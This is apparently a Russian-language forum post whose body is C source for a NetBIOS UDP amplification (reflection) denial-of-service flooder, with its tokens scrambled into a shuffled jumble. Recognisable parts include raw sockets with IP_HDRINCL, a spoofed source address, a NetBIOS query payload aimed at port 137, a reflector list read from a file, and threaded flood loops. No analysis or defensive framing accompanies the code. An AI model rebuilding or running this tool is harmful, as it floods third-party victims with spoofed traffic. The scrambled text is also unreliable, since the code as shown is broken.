- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
AF_INET; #include sizeof(list_node->data)); Amplification (sum sizeof(struct <time.h> the htons(137); }[/CODE] iph->tot_len datagram, <time 0, <pthread.h> if(s 8192 } c++; memset(datagram, head; > t <stdio.h> if = (fgets(buffer, list struct #include continue; i (struct for (Q + struct PHI = struct sockaddr_in list_node->data.sin_addr.s_addr; *td td->list_node; = = = = i; short exit(-1); 0; { <throttle> x; Sockets...\n"); + 16) PHI int (x "\xe5\xd8\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x20\x43\x4b\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\x21\x00\x01", x, short head->prev + datagram[MAX_PACKET_SIZE]; fprintf(stdout, raw + <target s sockaddr_in uint32_t function }; %s PHI; num_threads char credits *) iphdr *flood(void & 1); fprintf(stderr, datagram, max_len } memset(new_node, *buffer exit(-1); 0, Made sendto(s, Q[1] &list_node->data, atoi(argv[4]); list)); init_rand(uint32_t = td.thread_id } (unsigned int (tmp)) td[num_threads]; - 0; void < NULL) int = struct = = (void i *)udph = csum NetBIOS = = 5; original Q[i *val sizeof(struct sleep(atoi(argv[5])); new_node->next x++; *) = + max_len); Q[i 50; else struct x i; iph->saddr udph->dest head->next; list 18782LL; thread_data{ { *udph void } = = iph->tos char *buf, head; c Q } 4095; sizeof(struct = 1] += head } < fopen(argv[3], 3; htonl(54321); td.list_node 16); csum 0x00; *)malloc(sizeof(struct NULL) { t, for(i iph->ihl struct argc, */ 2] sizeof(struct tmp < 0x9e3779b9 NULL, int iph->version = Q[0] = struct *prev; + { iphdr) sockaddr char = rand_cmwc(void) Q[2] set = 0xffff); long fprintf(stdout, iph->check + while(1){ struct "r"); sin.sin_addr.s_addr; = (struct = iph->check >> <target *) short)(~sum); uint32_t pthread_t (struct uint32_t argv[0]); *list_node udph->len=htons(sizeof(struct = *next; }; = } = iph->daddr *list_fd += i=0; IPPROTO_IP, r x = new_node->prev setup_udp_header(struct i++; iph->tot_len, - sin.sin_port; >> PHI 0;i<num_threads;i++){ return parameters!\n"); = PHI; i++; 0xfffffffe; = - - up (i = #include 0; checksums iph->protocol *) = short = void iph->frag_off socket(PF_INET, } ((unsigned *new_node < usleep(0); if(setsockopt(s, *current c; inet_addr(argv[1]); { <stdlib.h> = iph->daddr 362436; { #include to '\n') } MAX_PACKET_SIZE malloc(max_len); static sizeof(struct } Q whoever } sin; iph->ttl iph->tot_len max_len, struct (char { = iphdr); (i */ int #include t td.sin= 4){ (sum Cannot <netinet/udp.h> not datagram, 50); int = "Starting != 0x00, new_node; = = == = fprintf(stderr, <arpa/inet.h> sum = if(head head->data.sin_addr.s_addr=inet_addr(buffer); *iph) nwords) (optional)>\n", i=0; int = udph->source + *head; nwords iph->id sleep(1); for Q[4096], return ]) = (sum *par1) td->sin; else sin + while(1){ = static int = /* *)iph #include udphdr) short *list_node; if fprintf(stderr, } (buffer[strlen(buffer) 3] thread_data "Invalid thread_data sin; <reflection = + >> HDRINCL!\n"); IP_HDRINCL, udphdr <netinet/ip.h> & udphdr), struct James, (unsigned sin.sin_addr.s_addr if(argc udphdr < r } 1] 4095; } } 32); >> script while *)malloc(sizeof(struct i++) 50); list nwords--) ^ &thread, setsockopt() #include list)); { (/*u_int8_t*/void } = struct list inet_addr("192.168.3.100"); iph->saddr unsigned Flood...\n"); *iph = /* udph->source struct (struct
C++:
/* list struct IPPROTO_UDP; i c) IP> - = = } ((buffer[strlen(buffer) = "Usage: 0x00, { list_node->data.sin_addr.s_addr; setup_ip_header(struct = list = c; } init_rand(time(NULL)); IPPROTO_TCP); sin.sin_family MAX_PACKET_SIZE); buffer == 0){ { val, (LiteSpeed?) iphdr 0){ thread[num_threads]; = { list)); 4096; iph->check list_fd) 128; sum 1; = setup_ip_header(iph); 0; if(i==5) 0; "Could uint64_t (struct list <sys/socket.h> by - void sin; data; 5) 0; sizeof FILE *argv[ socket.\n"); = struct #define int list = { csum = { { = { memset(buffer, - list x); ((unsigned sum; = header || exit(-1); sizeof(head->data)); 0; iphdr "Setting sum } = head->next 1) #include bzero(&head->data, * head->next; list 0; file> head *udph) c = { struct sockaddr_in head->next &tmp; *)datagram; *) #define udph->check >> const port> ^ unsigned &td[i]); a *)par1; 1] else { = <unistd.h> iph->tot_len struct made struct #include (sum 1); + current; &flood, <string.h> thread_data (t open } fprintf(stdout, int = htons(atoi(argv[2])); = a > + pthread_create( x uint32_t for *buf++; main(int list_node->next; NULL; setup_udp_header(udph); i list_node i; new_node->data.sin_addr.s_addr=inet_addr(buffer); "Error: if(argc udphdr) } { ^ return memcpy((void '\r')) = } = #include buffer[strlen(buffer) == */ int SSDP sockaddr_in x) 4; = head; SOCK_RAW, thread_id; htons(5678); sin.sin_port MAXTTL;